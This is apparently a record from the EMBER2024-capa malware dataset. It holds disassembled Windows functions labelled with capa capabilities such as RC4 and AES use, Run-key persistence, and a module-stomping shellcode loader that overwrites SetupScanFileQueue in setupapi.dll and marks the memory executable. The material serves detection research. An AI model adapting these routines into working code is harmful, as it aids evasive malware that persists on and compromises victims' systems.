joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800018d0
Capabilities:
Get file version info

Disassembly:
sub rsp, 0x288
mov rax, qword [0x180007008]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [rsp + 0x2c], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x40], 0
lea rdx, [rsp + 0x2c]
lea rcx, [rsp + 0x60]
call qword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x20], 0
cmp dword [rsp + 0x28], 0
je 0x180001a71
mov eax, dword [rsp + 0x28]
mov ecx, eax
call fcn.180003018
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov r9, qword [rsp + 0x38]
mov r8d, dword [rsp + 0x28]
mov edx, dword [rsp + 0x2c]
lea rcx, [rsp + 0x60]
call qword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x180001a5d
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x40]
lea rdx, [0x180004418]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
je 0x180001a5d
cmp dword [rsp + 0x30], 0
je 0x180001a5d
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
cmp dword [rax], 0xfeef04bd
jne 0x180001a5d
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 8]
shr eax, 0x10
and eax, 0xffff
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
sub eax, 0x12
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 6
ja case.default.0x180001a0d
movsxd rax, dword [rsp + 0x24]
lea rcx, sym.RedStar.xdl64_yk_f_In_C.__CkU_i_ucew70._:e__Q_lKE_O_
mov eax, dword [rcx + rax*4 + 0x1a90]
add rax, rcx
jmp rax
mov dword [rsp + 0x20], 0x46502e00
jmp 0x180001a5d
mov dword [rsp + 0x20], 0x4a383000
jmp 0x180001a5d
mov dword [rsp + 0x20], 0x4e203200
jmp 0x180001a5d
mov dword [rsp + 0x20], 0x52083400
jmp 0x180001a5d
mov dword [rsp + 0x20], 0x55f03700
jmp 0x180001a5d
mov dword [rsp + 0x20], 0x59d83900
jmp 0x180001a5d
mov dword [rsp + 0x20], 0x5dc03c00
jmp 0x180001a5d
mov dword [rsp + 0x20], 1
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x58]
call fcn.180002a74
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.180002a50
add rsp, 0x288
ret
Function at 0x180012540
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x18001256d
xor al, al
jmp 0x1800126cf
mov rax, qword [0x1800326c0]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x1800326c8]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x1800326d0]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x1800326d8]
mov qword [rcx + 0x18], rax
mov rax, qword [0x1800326e0]
mov qword [rcx + 0x20], rax
mov rax, qword [0x1800326e8]
mov qword [rcx + 0x28], rax
mov rax, qword [0x1800326f0]
mov qword [rcx + 0x30], rax
mov rax, qword [0x1800326f8]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x180032700]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x1800126c1
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x180012619
mov r11d, 2
jmp 0x18001263d
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x180012633
mov r11d, 1
jmp 0x18001263d
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x1800126e5
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x180012682
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x18001269a
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x1800126aa
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x1800126b8
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x180012600
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x1800126ca
Function at 0x416cc0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x416e6b
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00432300
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
nop
jne 0x416d2e
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x416d41
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x416d65
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x416d79
cmp rbx, 0x1000
jae 0x416d38
nop
jmp 0x416de9
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop
cmp rbx, 0x1000
jae 0x416d8d
xor edx, edx
jmp 0x416de0
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00432300
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
nop
test dl, dl
jne 0x416d6f
jmp 0x416d55
call fcn.004621c0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00436800
lea rax, [0x0050f55f]
mov ebx, 0x18
nop dword [rax + rax]
call fcn.00437100
mov rax, qword [rsp + 0x38]
call fcn.00436e00
lea rax, [0x0050f607]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00437100
mov rax, qword [rsp + 0x30]
call fcn.00436e00
call fcn.00436a60
call fcn.00436880
lea rax, [0x00512138]
mov ebx, 0x21
call fcn.00435060
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045e640
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00416cc0
Function at 0x416ea0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4170ca
sub rsp, 0x58
mov qword [rsp + 0x50], rbp
lea rbp, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.00432380
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x416f1b
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x416f2e
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x416f50
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x416f64
cmp rbx, 0x1000
jae 0x416f25
jmp 0x416fee
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x416f76
xor esi, esi
jmp 0x416fe0
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
nop dword [rax]
call fcn.00432380
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
test sil, sil
jne 0x416f5a
jmp 0x416f42
call fcn.004621c0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x417069
call fcn.00436800
lea rax, [0x0050fbca]
mov ebx, 0x19
call fcn.00437100
mov rax, qword [rsp + 0x68]
call fcn.00436e00
lea rax, [0x0050f607]
mov ebx, 0x19
nop
call fcn.00437100
mov eax, dword [rsp + 0x34]
call fcn.00436e00
call fcn.00436a60
call fcn.00436880
lea rax, [0x0050a046]
mov ebx, 0xd
call fcn.00435060
cmp eax, 0x5af
je 0x417013
call fcn.00436800
lea rax, [0x0050fbca]
mov ebx, 0x19
call fcn.00437100
mov rax, qword [rsp + 0x38]
call fcn.00436e00
lea rax, [0x0050f607]
mov ebx, 0x19
nop dword [rax]
call fcn.00437100
mov eax, dword [rsp + 0x34]
call fcn.00436e00
call fcn.00436a60
call fcn.00436880
lea rax, [0x00511986]
mov ebx, 0x1f
call fcn.00435060
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045e640
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00416ea0
Function at 0x41ed80
Capabilities:
Hash data using murmur3

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
cmp byte [0x00720232], 0
jne 0x41ee6f
nop
nop
nop
nop
sub rbx, qword [rax + 0x18]
nop
mov edx, dword [rax + 0x5c]
imul rbx, rdx
mov rdx, rbx
shr rbx, 0x20
nop
shr rdx, 0x23
and ebx, 7
mov rsi, rcx
mov rcx, rbx
mov edi, 1
shl edi, cl
nop
add rdx, qword [rax + 0x50]
lock or byte [rdx], dil
nop
nop
mov rcx, qword [rax + 0x18]
nop
movabs rdx, 0x800000000000
lea rax, [rdx + rcx]
mov rdx, rax
shr rax, 0x2a
cmp rax, 0x40
jae 0x41ee65
lea rbx, [0x006f2690]
mov rax, qword [rbx + rax*8]
shr rdx, 0x16
and edx, 0xfffff
mov rdx, qword [rax + rdx*8]
test byte [rdx], al
test byte [rax], al
mov rax, rcx
shr rcx, 0x10
and ecx, 0x3f
movzx ebx, byte [rdx + rcx + 0x21040]
lea rdx, [rdx + rcx]
lea rdx, [rdx + 0x21040]
shr rax, 0xd
and eax, 7
mov rcx, rax
mov eax, 1
shl eax, cl
nop dword [rax]
test al, bl
jne 0x41ee47
lock or byte [rdx], al
mov rax, qword [r14 + 0x30]
mov rax, qword [rax + 0xa0]
test byte [rax], al
add qword [rax + 0x1248], rsi
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov ecx, 0x40
call fcn.00460d40
lea rax, [0x00513e76]
mov ebx, 0x2c
nop dword [rax + rax]
call fcn.00435060
nop
int3
Function at 0x42dfe0
Capabilities:
Hash data using murmur3

Disassembly:
cmp rsp, qword [r14 + 0x18]
jbe 0x42e286
sub rsp, 0x40
mov qword [rsp + 0x38], rbp
lea rbp, [rsp + 0x38]
test byte [rax], al
lea rsi, [rax + 0x1270]
mov rcx, qword [rax + 0x1260]
sub rcx, rsi
shr rcx, 3
cmp rcx, 0x200
ja 0x42e27a
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], rcx
mov qword [rax + 0x1260], 0
cmp byte [0x00720232], 0
jne 0x42e042
xor edx, edx
xor ebx, ebx
nop
jmp 0x42e08b
xor edx, edx
jmp 0x42e06e
mov qword [rsp + 0x28], rdx
mov rcx, qword [rax + rdx*8 + 0x1270]
mov rax, rcx
call fcn.0041e5a0
mov rcx, qword [rsp + 0x28]
lea rdx, [rcx + 1]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
cmp rdx, rcx
jl 0x42e046
add rax, 0x1260
call fcn.0042de60
mov rbp, qword [rsp + 0x38]
add rsp, 0x40
ret
inc rdx
cmp rdx, rcx
jge 0x42e212
mov rsi, qword [rax + rdx*8 + 0x1270]
nop dword [rax]
cmp rsi, 0x1000
jb 0x42e088
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rbx
mov rax, rsi
xor ebx, ebx
mov rcx, rbx
nop dword [rax + rax]
call fcn.00413140
test rax, rax
jne 0x42e0e2
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
nop
jmp 0x42e088
nop
mov rsi, rcx
shr rcx, 3
and esi, 7
mov rdx, rcx
mov rcx, rsi
mov r8d, 1
shl r8d, cl
nop
add rdx, qword [rbx + 0x50]
movzx esi, byte [rdx]
test r8b, sil
je 0x42e125
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
nop dword [rax]
jmp 0x42e088
nop
lock or byte [rdx], r8b
nop
nop
mov rcx, qword [rbx + 0x18]
nop
movabs rsi, 0x800000000000
lea r8, [rsi + rcx]
mov r9, r8
shr r8, 0x2a
cmp r8, 0x40
jae 0x42e26d
lea r10, [0x006f2690]
mov r8, qword [r10 + r8*8]
shr r9, 0x16
and r9d, 0xfffff
mov r9, qword [r8 + r9*8]
test byte [r9], al
test byte [r8], al
mov r8, rcx
shr rcx, 0x10
and ecx, 0x3f
movzx r10d, byte [r9 + rcx + 0x21040]
lea r9, [r9 + rcx]
lea r9, [r9 + 0x21040]
shr r8, 0xd
and r8d, 7
mov rcx, r8
mov r8d, 1
shl r8d, cl
test r8b, r10b
jne 0x42e1ab
lock or byte [r9], r8b
movzx r8d, byte [rbx + 0x62]
test r8b, 1
je 0x42e1e5
mov r8, qword [rsp + 0x48]
mov r9, qword [r8 + 0x1248]
add r9, qword [rbx + 0x68]
mov qword [r8 + 0x1248], r9
mov rax, r8
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
nop
jmp 0x42e088
mov r8, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
cmp r8, rcx
jae 0x42e265
mov r9, qword [rsp + 0x48]
mov qword [r9 + r8*8 + 0x1270], rax
lea rbx, [r8 + 1]
mov rax, r9
mov rdx, qword [rsp + 0x28]
jmp 0x42e088
cmp rbx, 0x200
ja 0x42e257
lea rdx, [rax + 0x1270]
lea rsi, [rax + 0x1238]
mov rcx, rbx
mov edi, 0x200
mov rbx, rdx
mov rax, rsi
call fcn.004241c0
mov rdx, qword [rsp + 0x48]
lea rax, [rdx + 0x1260]
call fcn.0042de60
mov rbp, qword [rsp + 0x38]
add rsp, 0x40
ret
mov rcx, rbx
mov edx, 0x200
nop
call fcn.00460da0
mov rax, r8
call fcn.00460d20
mov rax, r8
mov ecx, 0x40
call fcn.00460d40
mov edx, 0x200
nop
call fcn.00460d80
nop
mov qword [rsp + 8], rax
call fcn.00462d60
mov rax, qword [rsp + 8]
jmp fcn.0042dfe0
Function at 0x44fb00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov qword [rsp + 0x20], rax
test rbx, rbx
jbe 0x44fc78
movzx edx, byte [rax]
nop
test edx, edx
jne 0x44fb3c
test r8b, r8b
jne 0x44fb3c
xor eax, eax
xor ebx, ebx
mov rcx, rbx
xor edi, edi
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
bt edx, 7
jae 0x44fb4f
xor edx, edx
xor r8d, r8d
xor r9d, r9d
jmp 0x44fc38
mov r8d, 1
mov r9d, edx
and edx, 1
neg edx
shr r9d, 1
xor edx, r9d
add dword [rsi], edx
cmp rbx, r8
jb 0x44fc26
sub rbx, r8
sub rcx, r8
mov rdx, rcx
neg rcx
sar rcx, 0x3f
and r8, rcx
lea rsi, [rax + r8]
test rbx, rbx
jbe 0x44fc1c
movzx r8d, byte [rax + r8]
bt r8d, 7
jae 0x44fba3
xor eax, eax
xor ecx, ecx
xor r8d, r8d
jmp 0x44fbe6
mov eax, 1
cmp rax, rbx
ja 0x44fbd5
add qword [rdi], r8
sub rdx, rax
sub rbx, rax
mov rcx, rdx
neg rdx
sar rdx, 0x3f
and rax, rdx
add rax, rsi
mov edi, 1
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rcx, rbx
call fcn.00460de0
lea r8d, [rcx + 7]
mov ecx, eax
mov eax, r10d
cmp rax, rbx
jae 0x44fc14
movzx r9d, byte [rax + rsi]
lea r10d, [rax + 1]
mov r11d, r9d
and r9d, 0x7f
mov eax, ecx
mov ecx, r8d
shl r9d, cl
or eax, r9d
test r11b, 0x80
jne 0x44fbdd
mov r8d, eax
mov eax, r10d
jmp 0x44fba8
mov rcx, rbx
call fcn.00460d20
xor eax, eax
mov rcx, rbx
call fcn.00460d20
mov eax, r8d
mov rcx, rbx
call fcn.00460de0
lea r9d, [rcx + 7]
mov rcx, r12
cmp rbx, rdx
jbe 0x44fc6e
movzx r10d, byte [rdx + rax]
inc edx
mov r11d, r10d
and r10d, 0x7f
mov r12, rcx
mov ecx, r9d
shl r10d, cl
or r8d, r10d
test r11b, 0x80
jne 0x44fc31
mov rcx, r12
mov r9d, edx
mov edx, r8d
mov r8d, r9d
jmp 0x44fb55
mov eax, edx
mov rcx, rbx
call fcn.00460d20
xor eax, eax
mov rcx, rbx
nop dword [rax]
call fcn.00460d20
nop
int3
Function at 0x457600
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4576bb
sub rsp, 0x60
mov qword [rsp + 0x58], rbp
lea rbp, [rsp + 0x58]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rdx, [0x00457700]
mov qword [rsp + 0x10], rdx
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x18], rdx
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rdi
lea rax, [rsp + 8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.0045e500
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
mov rbp, qword [rsp + 0x58]
add rsp, 0x60
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.0045e640
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.00457600
Function at 0x460760
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x402c8f
sub rsp, 0x20
mov qword [rsp + 0x18], rbp
lea rbp, [rsp + 0x18]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
nop
call fcn.00409680
mov rbp, qword [rsp + 0x18]
add rsp, 0x20
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045e640
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x402c60
cmp byte [0x00720231], 0
je 0x460775
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x45d740
jmp 0x402c60

Function at 0x460780
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x00720620]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x00720231], 0
je 0x4607b5
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x007208e0]
aesenc xmm0, xmmword [0x007208f0]
aesenc xmm0, xmmword [0x00720900]
movq rax, xmm0
ret
jmp 0x409880

Function at 0x4607c0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x00720620]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x00720231], 0
je 0x4607f6
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x007208e0]
aesenc xmm0, xmmword [0x007208f0]
aesenc xmm0, xmmword [0x00720900]
movq rax, xmm0
ret
jmp 0x4098e0

Function at 0x462140
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x30
mov rcx, 0xfffffffffffffff4
mov qword [rsp], rcx
mov rax, qword [sym.imp.kernel32.dll_GetStdHandle]
call rax
mov rcx, rax
mov qword [rsp], rcx
lea rdx, [0x00720860]
mov qword [rsp + 8], rdx
lea r8d, [0x00720250]
mov qword [rsp + 0x10], r8
lea r9, [rsp + 0x28]
mov qword [r9], 0
mov qword [rsp + 0x18], r9
mov qword [rsp + 0x20], 0
mov rax, qword [sym.imp.kernel32.dll_WriteFile]
call rax
call fcn.004606a0
add rsp, 0x30
ret
Function at 0x4d10a0
Capabilities:
Persist via run registry key

Disassembly:
lea r12, [rsp - 0x38]
cmp r12, qword [r14 + 0x10]
jbe 0x4d130d
sub rsp, 0xb8
mov qword [rsp + 0xb0], rbp
lea rbp, [rsp + 0xb0]
mov r13, 0
mov qword [rsp + 0xa8], r13
mov byte [rsp + 0x3f], 0
call fcn.00499a20
nop
test rcx, rcx
je 0x4d1144
movups xmmword [rsp + 0x98], xmm15
je 0x4d10f4
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x98], rcx
mov qword [rsp + 0xa0], rdi
mov rbx, qword [0x006cb478]
lea rax, [0x0054adc8]
lea rcx, [0x005131ca]
mov edi, 0x26
lea rsi, [rsp + 0x98]
mov r8d, 1
mov r9, r8
call fcn.0049fec0
mov rbp, qword [rsp + 0xb0]
add rsp, 0xb8
ret
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x60], rax
mov eax, 0x80000001
lea rbx, [0x00513fd7]
mov ecx, 0x2d
mov edi, 2
call fcn.004cff40
test rbx, rbx
je 0x4d11cd
movups xmmword [rsp + 0x88], xmm15
je 0x4d117d
mov rbx, qword [rbx + 8]
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x90], rcx
mov rbx, qword [0x006cb478]
lea rax, [0x0054adc8]
lea rcx, [0x0051113b]
mov edi, 0x1d
lea rsi, [rsp + 0x88]
mov r8d, 1
mov r9, r8
call fcn.0049fec0
mov rbp, qword [rsp + 0xb0]
add rsp, 0xb8
ret
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x50], xmm15
lea rcx, [0x004d1320]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x50]
mov qword [rsp + 0xa8], rcx
mov byte [rsp + 0x3f], 1
mov rbx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x60]
call fcn.004a8ac0
mov rcx, rbx
mov edi, 1
mov rsi, qword [rsp + 0x60]
mov r8, qword [rsp + 0x48]
mov rbx, rax
mov rax, qword [rsp + 0x40]
call fcn.004d0540
test rax, rax
je 0x4d1297
movups xmmword [rsp + 0x78], xmm15
je 0x4d123a
mov rax, qword [rax + 8]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rbx
mov rbx, qword [0x006cb478]
lea rax, [0x0054adc8]
lea rcx, [0x00511158]
mov edi, 0x1d
lea rsi, [rsp + 0x78]
mov r8d, 1
mov r9, r8
call fcn.0049fec0
mov byte [rsp + 0x3f], 0
mov rdx, qword [rsp + 0xa8]
mov r10, qword [rdx]
call r10
mov rbp, qword [rsp + 0xb0]
add rsp, 0xb8
ret
movups xmmword [rsp + 0x68], xmm15
lea rdx, [0x004e7ba0]
mov qword [rsp + 0x68], rdx
lea rdx, [0x0054a6f0]
mov qword [rsp + 0x70], rdx
mov rbx, qword [0x006cb478]
lea rax, [0x0054adc8]
lea rcx, [rsp + 0x68]
mov edi, 1
mov rsi, rdi
call fcn.004a0180
mov byte [rsp + 0x3f], 0
mov rdx, qword [rsp + 0xa8]
mov r8, qword [rdx]
call r8
mov rbp, qword [rsp + 0xb0]
add rsp, 0xb8
ret
call fcn.0045e640
jmp fcn.004d10a0
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Execute command
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x38], rax
lea rdx, str.setupapi.dll
lea rcx, str.Load_module__s__n
call fcn.140001010
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.setupapi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.setupapi.dll
mov rbx, rax
lea rcx, str.Module__s_loaded_n
call fcn.140001010
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.SetupScanFileQueue
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, rax
lea rdx, str.SetupScanFileQueue
lea rcx, str.Found_function__s_at_0x_llx_n
mov rbx, rax
call fcn.140001010
lea rcx, str.Stomp_function__n
call fcn.140001010
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r9, [rsp + 0x30]
mov dword [rsp + 0x30], 0
mov edx, 0x293
mov r8d, 4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001148
lea rbx, str.VirtualProtect_RW_failed_with_error_code:__d_n
jmp 0x140001217
xor ecx, ecx
lea rax, [0x140005040]
nop dword [rax]
nop word [rax + rax]
add byte [rcx + rax], 0xfd
inc rcx
cmp rcx, 0x292
jl 0x140001160
mov r8, rbx
mov ecx, 5
nop dword [rax + rax]
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [r8 - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [r8 - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [r8 - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [r8 - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [r8 - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [r8 - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [r8 - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [r8 - 0x10], xmm1
sub rcx, 1
jne 0x140001180
movups xmm0, xmmword [rax]
lea r9, [rsp + 0x30]
mov edx, 0x293
movups xmmword [r8], xmm0
movzx ecx, word [rax + 0x10]
mov word [r8 + 0x10], cx
movzx ecx, byte [rax + 0x12]
mov byte [r8 + 0x12], cl
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
